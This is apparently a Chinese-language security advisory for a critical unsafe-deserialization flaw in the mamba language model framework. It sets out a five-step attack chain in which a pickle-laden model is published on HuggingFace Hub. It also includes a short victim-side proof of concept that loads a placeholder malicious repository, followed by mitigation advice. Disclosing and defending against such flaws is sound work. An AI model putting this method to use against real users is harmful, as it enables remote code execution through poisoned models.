CVE-2026-31239 CVSS 9.8 严重

CVE-2026-31239 mamba框架不安全反序列化漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31239

漏洞类型

不安全的反序列化

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

mamba language model framework

漏洞概述

mamba语言模型框架2.2.6及之前版本存在不安全的反序列化漏洞（CWE-502）。该漏洞源于框架在从HuggingFace Hub加载预训练模型时，使用了不安全的torch.load()方法。攻击者可构造包含恶意代码的模型文件并发布，当受害者加载该模型时，将在系统上执行任意代码，造成严重安全威胁。

技术细节

漏洞产生于MambaLMHeadModel.from_pretrained()方法，该方法使用PyTorch的torch.load()函数加载模型权重文件（pytorch_model.bin）。由于未设置安全参数weights_only=True，torch.load()默认使用Python的pickle模块进行反序列化。Pickle模块能够反序列化任意Python对象，包括可能包含恶意操作的类。攻击者可以创建特制的模型仓库并上传至HuggingFace Hub。当受害者使用受影响版本的mamba框架调用from_pretrained()加载该恶意模型时，恶意代码将被自动反序列化并在mamba进程上下文中执行，从而实现远程代码执行。

攻击链分析

STEP 1

1. 制作恶意载荷

攻击者利用Python pickle模块构造包含恶意代码的模型权重文件（pytorch_model.bin）。

STEP 2

2. 发布恶意模型

攻击者将包含恶意文件的模型代码库上传至HuggingFace Hub公网仓库。

STEP 3

3. 诱导加载

受害者使用mamba框架的MambaLMHeadModel.from_pretrained()方法加载该恶意模型仓库。

STEP 4

4. 触发反序列化

框架调用torch.load()读取权重文件，pickle模块自动反序列化对象并执行其中嵌入的恶意代码。

STEP 5

5. 获取控制权

恶意代码在受害者的系统进程中运行，攻击者获得系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC: Victim code triggering the vulnerability
# Ensure vulnerable mamba version is installed

import os
import sys

def main():
    try:
        from mamba_ssm.models.mixer_seq_simple import MambaLMHeadModel

        # The attacker hosts a malicious repository on HuggingFace Hub
        # containing a pytorch_model.bin with a crafted pickle payload.
        malicious_repo_id = "attacker/malicious-model-repo" 

        print(f"[*] Attempting to load model from: {malicious_repo_id}")
        
        # This call triggers torch.load() -> pickle.loads() -> Code Execution
        model = MambaLMHeadModel.from_pretrained(malicious_repo_id)
        
        print("[!] Model loaded. If exploited, arbitrary code has been executed.")
        
    except ImportError:
        print("[-] Error: Mamba library not found.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    main()

影响范围

mamba language model framework <= 2.2.6

防御指南

临时缓解措施

建议立即将mamba框架升级到修复了该漏洞的最新版本。在无法立即升级的情况下，应避免直接使用from_pretrained()加载来源不明的第三方模型，或者自行修改代码强制使用weights_only=True参数进行加载，以阻断不安全的反序列化操作。

参考链接

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